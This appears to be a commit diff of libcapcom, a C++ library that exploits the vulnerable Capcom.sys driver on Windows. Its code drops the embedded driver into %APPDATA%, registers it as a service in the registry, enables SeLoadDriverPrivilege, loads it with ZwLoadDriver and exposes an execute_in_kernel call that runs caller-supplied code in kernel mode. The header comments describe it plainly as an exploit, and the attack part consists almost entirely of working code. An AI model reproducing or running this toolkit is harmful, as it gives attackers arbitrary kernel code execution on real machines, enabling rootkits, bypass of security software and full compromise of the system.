file_location += L"\\Capcom.sys";
bool success = loader::load_vuln_driver((uint8_t*)capcom_sys, sizeof(capcom_sys), file_location.c_str(), L"Capcom");
if (!success) return false;
wrapper = new capcom_wrapper;
return success;
}
void execute_in_kernel(std::function<void(MmGetSystemRoutineAddress_t)> user_function)
{
wrapper->execute_in_kernel(user_function);
}
bool cleanup_exploit()
{
if (wrapper)
{
wrapper->close_driver_handle();
delete wrapper;
}
std::wstring file_location = _wgetenv(L"APPDATA");
file_location += L"\\Capcom.sys";
return loader::unload_vuln_driver(file_location, L"Capcom");
}
+33
View File
@@ -0,0 +1,33 @@
#pragma once
#define WIN32_NO_STATUS
#include <Windows.h>
#include <Winternl.h>
#undef WIN32_NO_STATUS
#include <functional>
typedef PVOID(NTAPI* MmGetSystemRoutineAddress_t)(PUNICODE_STRING);
/*
Initialize the capcom exploit by:
1. Dropping the driver file baked inside this library onto disk
2. Use ZwLoadDriver to load the driver
3. Initialize the wrapper class to set up code execution
Keep in mind that if this function call fails, the capcom driver WILL
remain loaded on your system.
@return true if exploit was loaded properly, false if failed
*/
extern bool init_exploit();
extern void execute_in_kernel(std::function<void(MmGetSystemRoutineAddress_t)> user_function);
/*
Clean up the capcom exploit by:
1. Closing the handle to the wrapper class
2. Use ZwUnloadDriver to unload the driver
3. Delete the driver file dropped onto disk
4. Free the wrapper instance
@return true if exploit was unloaded properly, false if failed
*/
extern bool cleanup_exploit();
+137
View File
@@ -0,0 +1,137 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{AE5BAFC9-E4BA-4786-96E4-A564B113B206}</ProjectGuid>
<RootNamespace>libcapcom</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17134.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="capcom_payload.cpp" />
<ClCompile Include="capcom_wrapper.cpp" />
<ClCompile Include="libcapcom.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="capcomsys.h" />
<ClInclude Include="capcom_payload.h" />
<ClInclude Include="capcom_wrapper.h" />
<ClInclude Include="libcapcom.h" />
<ClInclude Include="loader.h" />
<ClInclude Include="native.h" />
<ClInclude Include="structs.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+60
View File
@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Header Files\capcom">
<UniqueIdentifier>{b6bac2cf-f95a-4db7-b69c-7d4940b947f3}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\loader">
<UniqueIdentifier>{efb5525a-c429-4278-ba06-e89b4ece6569}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\capcom">
<UniqueIdentifier>{9acf6e2f-811c-4e78-abfc-18393ea778c0}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="capcom_wrapper.cpp">
<Filter>Source Files\capcom</Filter>
</ClCompile>
<ClCompile Include="capcom_payload.cpp">
<Filter>Source Files\capcom</Filter>
</ClCompile>
<ClCompile Include="libcapcom.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="capcom_wrapper.h">
<Filter>Header Files\capcom</Filter>
</ClInclude>
<ClInclude Include="capcom_payload.h">
<Filter>Header Files\capcom</Filter>
</ClInclude>
<ClInclude Include="capcomsys.h">
<Filter>Header Files\loader</Filter>
</ClInclude>
<ClInclude Include="loader.h">
<Filter>Header Files\loader</Filter>
</ClInclude>
<ClInclude Include="native.h">
<Filter>Header Files\loader</Filter>
</ClInclude>
<ClInclude Include="libcapcom.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="structs.h">
<Filter>Header Files\loader</Filter>
</ClInclude>
</ItemGroup>
</Project>
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include <fstream>
#include "native.h"
namespace loader
{
bool load_vuln_driver(uint8_t* driver, int size, const std::wstring& path, const std::wstring& service)
{
std::ofstream file(path.c_str(), std::ios_base::out | std::ios_base::binary);
file.write((char*)driver, size);
file.close();
return native::load_driver(path, service);
}
bool unload_vuln_driver(const std::wstring& path, const std::wstring& service)
{
if (!native::unload_driver(service))
return false;
return !std::remove(std::string(path.begin(), path.end()).c_str());
}
}
+113
View File
@@ -0,0 +1,113 @@
#pragma once
#include <string>
#define WIN32_NO_STATUS
#include <Windows.h>
#include <Winternl.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
namespace native
{
extern "C" NTSTATUS NTAPI ZwLoadDriver(PUNICODE_STRING str);
extern "C" NTSTATUS NTAPI ZwUnloadDriver(PUNICODE_STRING str);
namespace internal
{
LSTATUS prepare_driver_registry(const wchar_t *svcName, const wchar_t *svcDrv, const wchar_t *group, int startupType)
{
HKEY key;
HKEY subkey;
DWORD type = 1;
DWORD err = 0;
LSTATUS status = 0;
wchar_t path[MAX_PATH];
swprintf_s(path, ARRAYSIZE(path), L"\\??\\%s", svcDrv);
status = RegOpenKeyW(HKEY_LOCAL_MACHINE, L"system\\CurrentControlSet\\Services", &key);
if (status)
return status;
status = RegCreateKeyW(key, svcName, &subkey);
if (status)
{
RegCloseKey(key);
return status;
}
status |= RegSetValueExW(subkey, L"DisplayName", 0, REG_SZ, (const BYTE *)svcName, (DWORD)(sizeof(WCHAR) * wcslen(svcName) + 1));
status |= RegSetValueExW(subkey, L"ErrorControl", 0, REG_DWORD, (const BYTE *)&err, sizeof(err));
status |= RegSetValueExW(subkey, L"Group", 0, REG_SZ, (const BYTE *)group, sizeof(WCHAR) * ((DWORD)wcslen(group) + 1));
status |= RegSetValueExW(subkey, L"ImagePath", 0, REG_SZ, (const BYTE *)path, (sizeof(WCHAR) * ((DWORD)wcslen(path) + 1)));
status |= RegSetValueExW(subkey, L"Start", 0, REG_DWORD, (const BYTE *)&startupType, sizeof(startupType));
status |= RegSetValueExW(subkey, L"Type", 0, REG_DWORD, (const BYTE*)&type, sizeof(type));
RegCloseKey(subkey);
return status;
}
std::wstring make_path(const std::wstring& svcName)
{
std::wstring path = L"\\registry\\machine\\SYSTEM\\CurrentControlSet\\Services\\";
path += svcName;
return path;
}
bool set_privilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
return false;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
return false;
return GetLastError() != ERROR_NOT_ALL_ASSIGNED;
}
}
bool load_driver(const std::wstring& path, const std::wstring& service)
{
LSTATUS stat = internal::prepare_driver_registry(service.c_str(), path.c_str(), L"Base", 1);
if (stat != ERROR_SUCCESS)
return stat;
UNICODE_STRING str;
auto wpath = internal::make_path(service);
RtlInitUnicodeString(&str, wpath.c_str());
HANDLE token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token))
return false;
bool done = internal::set_privilege(token, TEXT("SeLoadDriverPrivilege"), TRUE);
CloseHandle(token);
if (!done)
return false;
return ZwLoadDriver(&str) >= 0;
}
bool unload_driver(const std::wstring& service)
{
UNICODE_STRING str;
auto wservice = internal::make_path(service);
RtlInitUnicodeString(&str, wservice.c_str());
return ZwUnloadDriver(&str) >= 0;
}
}
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#define WIN32_NO_STATUS
#include <Windows.h>
#include <Winternl.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
namespace native::structs
{
typedef PVOID (NTAPI* MmGetSystemRoutineAddress_t)(PUNICODE_STRING);
}